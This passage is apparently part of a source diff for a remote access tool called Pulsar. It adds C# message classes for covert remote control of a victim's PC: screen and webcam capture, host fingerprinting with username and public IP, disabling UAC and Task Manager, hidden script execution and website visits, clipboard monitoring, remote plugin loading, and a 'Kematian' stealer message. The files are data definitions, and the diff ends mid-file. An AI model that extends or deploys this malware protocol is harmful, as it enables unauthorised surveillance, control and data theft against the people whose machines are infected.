@@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class DoMouseEvent : IMessage + { + [Key(1)] + public MouseAction Action { get; set; } + + [Key(2)] + public bool IsMouseDown { get; set; } + + [Key(3)] + public int X { get; set; } + + [Key(4)] + public int Y { get; set; } + + [Key(5)] + public int MonitorIndex { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs new file mode 100644 index 0000000..e5f27d4 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktop.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetDesktop : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteDesktopStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs new file mode 100644 index 0000000..9dbe9dc --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetDesktopResponse.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetDesktopResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float FrameRate { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs new file mode 100644 index 0000000..fa3dc4c --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitors.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.RemoteDesktop +{ + [MessagePackObject] + public class GetMonitors : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs new file mode 100644 index 0000000..177deec --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/RemoteDesktop/GetMonitorsResponse.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class GetMonitorsResponse : IMessage + { + [Key(1)] + public int Number { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs new file mode 100644 index 0000000..5fcc284 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoInstallVirtualMonitor.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor +{ + [MessagePackObject] + public class DoInstallVirtualMonitor : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs new file mode 100644 index 0000000..bb02601 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/VirtualMonitor/DoUninstallVirtualMonitor.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Monitoring.VirtualMonitor +{ + [MessagePackObject] + public class DoUninstallVirtualMonitor : IMessage + { + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs new file mode 100644 index 0000000..85b1776 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcams.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetAvailableWebcams : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs new file mode 100644 index 0000000..1725774 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetAvailableWebcamsResponse.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetAvailableWebcamsResponse : IMessage + { + [Key(1)] + public string[] Webcams { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs new file mode 100644 index 0000000..1e8df6e --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcam.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetWebcam : IMessage + { + [Key(1)] + public bool CreateNew { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + + [Key(4)] + public RemoteWebcamStatus Status { get; set; } + + [Key(5)] + public bool UseGPU { get; set; } + + [Key(6)] + public int FramesRequested { get; set; } = 1; + + [Key(7)] + public bool IsBufferedMode { get; set; } = true; + } +} diff --git a/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs new file mode 100644 index 0000000..6b73652 --- /dev/null +++ b/Pulsar.Common/Messages/Monitoring/Webcam/GetWebcamResponse.cs @@ -0,0 +1,31 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Webcam +{ + [MessagePackObject] + public class GetWebcamResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public long Timestamp { get; set; } + + [Key(6)] + public bool IsLastRequestedFrame { get; set; } + + [Key(7)] + public float FrameRate { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/ClientIdentification.cs b/Pulsar.Common/Messages/Other/ClientIdentification.cs new file mode 100644 index 0000000..50fdb31 --- /dev/null +++ b/Pulsar.Common/Messages/Other/ClientIdentification.cs @@ -0,0 +1,47 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class ClientIdentification : IMessage + { + [Key(1)] + public string Version { get; set; } + + [Key(2)] + public string OperatingSystem { get; set; } + + [Key(3)] + public string AccountType { get; set; } + + [Key(4)] + public string Country { get; set; } + + [Key(5)] + public string CountryCode { get; set; } + + [Key(6)] + public int ImageIndex { get; set; } + + [Key(7)] + public string Id { get; set; } + + [Key(8)] + public string Username { get; set; } + + [Key(9)] + public string PcName { get; set; } + + [Key(10)] + public string Tag { get; set; } + + [Key(11)] + public string EncryptionKey { get; set; } + + [Key(12)] + public byte[] Signature { get; set; } + + [Key(13)] + public string PublicIP { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs b/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs new file mode 100644 index 0000000..0a0280a --- /dev/null +++ b/Pulsar.Common/Messages/Other/ClientIdentificationResult.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class ClientIdentificationResult : IMessage + { + [Key(1)] + public bool Result { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs b/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs new file mode 100644 index 0000000..e407bf0 --- /dev/null +++ b/Pulsar.Common/Messages/Other/DeferredAssembliesPackage.cs @@ -0,0 +1,55 @@ +using MessagePack; +using System.Collections.Generic; + +namespace Pulsar.Common.Messages.Other +{ + /// + /// Package containing one or more deferred assemblies delivered from the server to the client. + /// + [MessagePackObject] + public class DeferredAssembliesPackage : IMessage + { + /// + /// The assemblies delivered within this package. + /// + [Key(1)] + public List Assemblies { get; set; } + + /// + /// Indicates whether this is the final package in the current transfer sequence. + /// + [Key(2)] + public bool IsComplete { get; set; } + } + + /// + /// Descriptor describing a single deferred assembly payload. + /// + [MessagePackObject] + public class DeferredAssemblyDescriptor + { + /// + /// Simple assembly name, e.g. "SharpDX.Direct3D11". + /// + [Key(1)] + public string Name { get; set; } + + /// + /// Optional assembly version information. + /// + [Key(2)] + public string Version { get; set; } + + /// + /// Raw assembly bytes. May be null if the server could not locate the assembly. + /// + [Key(3)] + public byte[] Data { get; set; } + + /// + /// SHA-256 hash of the assembly bytes for integrity validation (hex encoded). + /// + [Key(4)] + public string Sha256 { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs b/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs new file mode 100644 index 0000000..b8fb8fa --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoExecuteUniversalCommand.cs @@ -0,0 +1,19 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoExecuteUniversalCommand : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public string Command { get; set; } + + [Key(3)] + public byte[] Parameters { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs b/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs new file mode 100644 index 0000000..b498dfc --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoLoadUniversalPlugin.cs @@ -0,0 +1,25 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoLoadUniversalPlugin : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public byte[] PluginBytes { get; set; } + + [Key(3)] + public byte[] InitData { get; set; } + + [Key(4)] + public string TypeName { get; set; } + + [Key(5)] + public string MethodName { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs b/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs new file mode 100644 index 0000000..8ad4db7 --- /dev/null +++ b/Pulsar.Common/Messages/Other/DoUniversalPluginResponse.cs @@ -0,0 +1,31 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public sealed class DoUniversalPluginResponse : IMessage + { + [Key(1)] + public string PluginId { get; set; } + + [Key(2)] + public string Command { get; set; } + + [Key(3)] + public bool Success { get; set; } + + [Key(4)] + public string Message { get; set; } + + [Key(5)] + public byte[] Data { get; set; } + + [Key(6)] + public bool ShouldUnload { get; set; } + + [Key(7)] + public string NextCommand { get; set; } + } +} + diff --git a/Pulsar.Common/Messages/Other/IMessage.cs b/Pulsar.Common/Messages/Other/IMessage.cs new file mode 100644 index 0000000..1e087e8 --- /dev/null +++ b/Pulsar.Common/Messages/Other/IMessage.cs @@ -0,0 +1,6 @@ +ο»Ώnamespace Pulsar.Common.Messages.Other +{ + public interface IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Other/IMessageProcessor.cs b/Pulsar.Common/Messages/Other/IMessageProcessor.cs new file mode 100644 index 0000000..edeb5ed --- /dev/null +++ b/Pulsar.Common/Messages/Other/IMessageProcessor.cs @@ -0,0 +1,32 @@ +ο»Ώusing Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Common.Messages +{ + /// + /// Provides basic functionality to process messages. + /// + public interface IMessageProcessor + { + /// + /// Decides whether this message processor can execute the specified message. + /// + /// The message to execute. + /// True if the message can be executed by this message processor, otherwise false. + bool CanExecute(IMessage message); + + /// + /// Decides whether this message processor can execute messages received from the sender. + /// + /// The sender of a message. + /// True if this message processor can execute messages from the sender, otherwise false. + bool CanExecuteFrom(ISender sender); + + /// + /// Executes the received message. + /// + /// The sender of this message. + /// The received message. + void Execute(ISender sender, IMessage message); + } +} diff --git a/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs b/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs new file mode 100644 index 0000000..ae0aa63 --- /dev/null +++ b/Pulsar.Common/Messages/Other/RequestDeferredAssemblies.cs @@ -0,0 +1,23 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + /// + /// Client request asking the server to deliver one or more deferred assemblies. + /// + [MessagePackObject] + public class RequestDeferredAssemblies : IMessage + { + /// + /// Gets or sets the list of assembly simple names the client is missing. + /// + [Key(1)] + public string[] Assemblies { get; set; } + + /// + /// Optional version information so the server can pick an appropriate bundle. + /// + [Key(2)] + public string ClientVersion { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs b/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs new file mode 100644 index 0000000..64add4b --- /dev/null +++ b/Pulsar.Common/Messages/Other/SecureMessageEnvelope.cs @@ -0,0 +1,11 @@ +using MessagePack; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public sealed class SecureMessageEnvelope : IMessage + { + [Key(0)] + public byte[] Payload { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs b/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs new file mode 100644 index 0000000..f0195dd --- /dev/null +++ b/Pulsar.Common/Messages/Other/StartProcessOnMonitor.cs @@ -0,0 +1,16 @@ +ο»Ώusing System; +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Other +{ + [MessagePackObject] + public class StartProcessOnMonitor : IMessage + { + [Key(1)] + public string Application { get; set; } + + [Key(2)] + public int MonitorID { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/PingRequest.cs b/Pulsar.Common/Messages/PingRequest.cs new file mode 100644 index 0000000..464b184 --- /dev/null +++ b/Pulsar.Common/Messages/PingRequest.cs @@ -0,0 +1,12 @@ +using System; +using MessagePack; +using Pulsar.Common.Networking; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class PingRequest : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/PingResponse.cs b/Pulsar.Common/Messages/PingResponse.cs new file mode 100644 index 0000000..4093b87 --- /dev/null +++ b/Pulsar.Common/Messages/PingResponse.cs @@ -0,0 +1,12 @@ +using System; +using MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Networking; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class PingResponse : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/Preview/GetPreviewImage.cs b/Pulsar.Common/Messages/Preview/GetPreviewImage.cs new file mode 100644 index 0000000..21a2a60 --- /dev/null +++ b/Pulsar.Common/Messages/Preview/GetPreviewImage.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.Preview +{ + [MessagePackObject] + public class GetPreviewImage : IMessage + { + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int DisplayIndex { get; set; } + } +} diff --git a/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs b/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs new file mode 100644 index 0000000..6cea047 --- /dev/null +++ b/Pulsar.Common/Messages/Preview/GetPreviewResponse.cs @@ -0,0 +1,46 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; +using Pulsar.Common.Video; + +namespace Pulsar.Common.Messages.Preview +{ + [MessagePackObject] + public class GetPreviewResponse : IMessage + { + [Key(1)] + public byte[] Image { get; set; } + + [Key(2)] + public int Quality { get; set; } + + [Key(3)] + public int Monitor { get; set; } + + [Key(4)] + public Resolution Resolution { get; set; } + + [Key(5)] + public string CPU { get; set; } + + [Key(6)] + public string GPU { get; set; } + + [Key(7)] + public string RAM { get; set; } + + [Key(8)] + public string Uptime { get; set; } + + [Key(9)] + public string AV { get; set; } + + [Key(10)] + public string MainBrowser { get; set; } + + [Key(11)] + public bool HasWebcam { get; set; } + + [Key(12)] + public string AFKTime { get; set; } + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs b/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs new file mode 100644 index 0000000..6000c73 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoAddCDriveException.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoSendQuickCommand : IMessage + { + [Key(1)] + public string Command { get; set; } + [Key(2)] + public string Host { get; set; } + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs b/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs new file mode 100644 index 0000000..3c62cc2 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoDisableTaskManager.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoDisableTaskManager : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs b/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs new file mode 100644 index 0000000..4ced610 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoDisableUAC.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoDisableUAC : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs b/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs new file mode 100644 index 0000000..d16c595 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoEnableTaskManager.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoEnableTaskManager : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs b/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs new file mode 100644 index 0000000..8fc9b50 --- /dev/null +++ b/Pulsar.Common/Messages/QuickCommands/DoEnableUAC.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.QuickCommands +{ + [MessagePackObject] + public class DoEnableUAC : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/SetStatus.cs b/Pulsar.Common/Messages/SetStatus.cs new file mode 100644 index 0000000..2a25675 --- /dev/null +++ b/Pulsar.Common/Messages/SetStatus.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetStatus : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs b/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs new file mode 100644 index 0000000..fe2ce33 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserActiveWindowStatus.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserActiveWindowStatus : IMessage + { + [Key(1)] + public string WindowTitle { get; set; } + } +} \ No newline at end of file diff --git a/Pulsar.Common/Messages/SetUserClipboardStatus.cs b/Pulsar.Common/Messages/SetUserClipboardStatus.cs new file mode 100644 index 0000000..742c060 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserClipboardStatus.cs @@ -0,0 +1,12 @@ +using MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserClipboardStatus : IMessage + { + [Key(1)] + public string ClipboardText { get; set; } + } +} diff --git a/Pulsar.Common/Messages/SetUserStatus.cs b/Pulsar.Common/Messages/SetUserStatus.cs new file mode 100644 index 0000000..19f0b58 --- /dev/null +++ b/Pulsar.Common/Messages/SetUserStatus.cs @@ -0,0 +1,13 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages +{ + [MessagePackObject] + public class SetUserStatus : IMessage + { + [Key(1)] + public UserStatus Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/TypeRegistry.cs b/Pulsar.Common/Messages/TypeRegistry.cs new file mode 100644 index 0000000..95f2d0e --- /dev/null +++ b/Pulsar.Common/Messages/TypeRegistry.cs @@ -0,0 +1,44 @@ +ο»Ώusing System; +using System.Collections.Generic; +using System.Linq; + +namespace Pulsar.Common.Messages +{ + /// + /// Legacy TypeRegistry - no longer needed with MessagePack serialization. + /// Kept for compatibility during migration. + /// + public static class TypeRegistry + { + /// + /// Legacy method - no longer needed with MessagePack. + /// + /// The parent type + /// Type to be added + public static void AddTypeToSerializer(Type parent, Type type) + { + // No-op: MessagePack handles polymorphism through custom resolvers + } + + /// + /// Legacy method - no longer needed with MessagePack. + /// + /// The parent type + /// Types to add + public static void AddTypesToSerializer(Type parent, params Type[] types) + { + // No-op: MessagePack handles polymorphism through custom resolvers + } + + /// + /// Gets all types that implement the specified interface. + /// Still used by legacy code during migration. + /// + public static IEnumerable GetPacketTypes(Type type) + { + return AppDomain.CurrentDomain.GetAssemblies() + .SelectMany(s => s.GetTypes()) + .Where(p => type.IsAssignableFrom(p) && !p.IsInterface); + } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs b/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs new file mode 100644 index 0000000..0c3d6eb --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/MessageBox/DoShowMessageBox.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.MessageBox +{ + [MessagePackObject] + public class DoShowMessageBox : IMessage + { + [Key(1)] + public string Caption { get; set; } + + [Key(2)] + public string Text { get; set; } + + [Key(3)] + public string Button { get; set; } + + [Key(4)] + public string Icon { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs new file mode 100644 index 0000000..8bd8efc --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChat.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoChat : IMessage + { + [Key(1)] + public string PacketDms { get; set; } + [Key(2)] + public string User { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs new file mode 100644 index 0000000..a2a5709 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoChatAction.cs @@ -0,0 +1,11 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoChatAction : IMessage + { + + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs new file mode 100644 index 0000000..ceba14e --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoKillChatForm.cs @@ -0,0 +1,10 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoKillChatForm : IMessage + { + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs new file mode 100644 index 0000000..2b9dd9f --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/DoStartChatForm.cs @@ -0,0 +1,21 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class DoStartChatForm : IMessage + { + [Key(1)] + public string Title { get; set; } + + [Key(2)] + public string WelcomeMessage { get; set; } + [Key(3)] + public bool TopMost { get; set; } + [Key(4)] + public bool DisableClose { get; set; } + [Key(5)] + public bool DisableType { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs b/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs new file mode 100644 index 0000000..7d72837 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteChat/GetChat.cs @@ -0,0 +1,12 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.RemoteChat +{ + [MessagePackObject] + public class GetChat : IMessage + { + [Key(1)] + public string Message { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs b/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs new file mode 100644 index 0000000..734959a --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/RemoteScripting/DoExecScript.cs @@ -0,0 +1,17 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.MessageBox +{ + [MessagePackObject] + public class DoExecScript : IMessage + { + [Key(1)] + public string Language { get; set; } + + [Key(2)] + public string Script { get; set; } + [Key(3)] + public bool Hidden { get; set; } + } +} diff --git a/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs b/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs new file mode 100644 index 0000000..ad56c08 --- /dev/null +++ b/Pulsar.Common/Messages/UserSupport/Website/DoVisitWebsite.cs @@ -0,0 +1,15 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Messages.UserSupport.Website +{ + [MessagePackObject] + public class DoVisitWebsite : IMessage + { + [Key(1)] + public string Url { get; set; } + + [Key(2)] + public bool Hidden { get; set; } + } +} diff --git a/Pulsar.Common/Models/Drive.cs b/Pulsar.Common/Models/Drive.cs new file mode 100644 index 0000000..972a5cd --- /dev/null +++ b/Pulsar.Common/Models/Drive.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class Drive + { + [Key(1)] + public string DisplayName { get; set; } + + [Key(2)] + public string RootDirectory { get; set; } + } +} diff --git a/Pulsar.Common/Models/FileChunk.cs b/Pulsar.Common/Models/FileChunk.cs new file mode 100644 index 0000000..7d4f64c --- /dev/null +++ b/Pulsar.Common/Models/FileChunk.cs @@ -0,0 +1,14 @@ +ο»Ώusing MessagePack; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class FileChunk + { + [Key(1)] + public long Offset { get; set; } + + [Key(2)] + public byte[] Data { get; set; } + } +} diff --git a/Pulsar.Common/Models/FileSystemEntry.cs b/Pulsar.Common/Models/FileSystemEntry.cs new file mode 100644 index 0000000..057427e --- /dev/null +++ b/Pulsar.Common/Models/FileSystemEntry.cs @@ -0,0 +1,25 @@ +ο»Ώusing MessagePack; +using Pulsar.Common.Enums; +using System; + +namespace Pulsar.Common.Models +{ + [MessagePackObject] + public class FileSystemEntry + { + [Key(1)] + public FileType EntryType { get; set; } + + [Key(2)] + public string Name { get; set; } + + [Key(3)] + public long Size { get; set; } + + [Key(4)] + public DateTime LastAccessTimeUtc { get; set; } + + [Key(5)] + public ContentType? ContentType { get; set; } + } +} diff --git a/Pulsar.Common/Models/Kematian.cs b/Pulsar.Common/Models/Kematian.cs new file mode 100644 index 0000000..de08f12 --- /dev/null +++ b/Pulsar.Common/Models/Kematian.cs @@ -0,0 +1,9 @@ +ο»Ώusing Pulsar.Common.Messages.Other; + +namespace Pulsar.Common.Models +{ + public class KematianZipMessage : IMessage + { + public 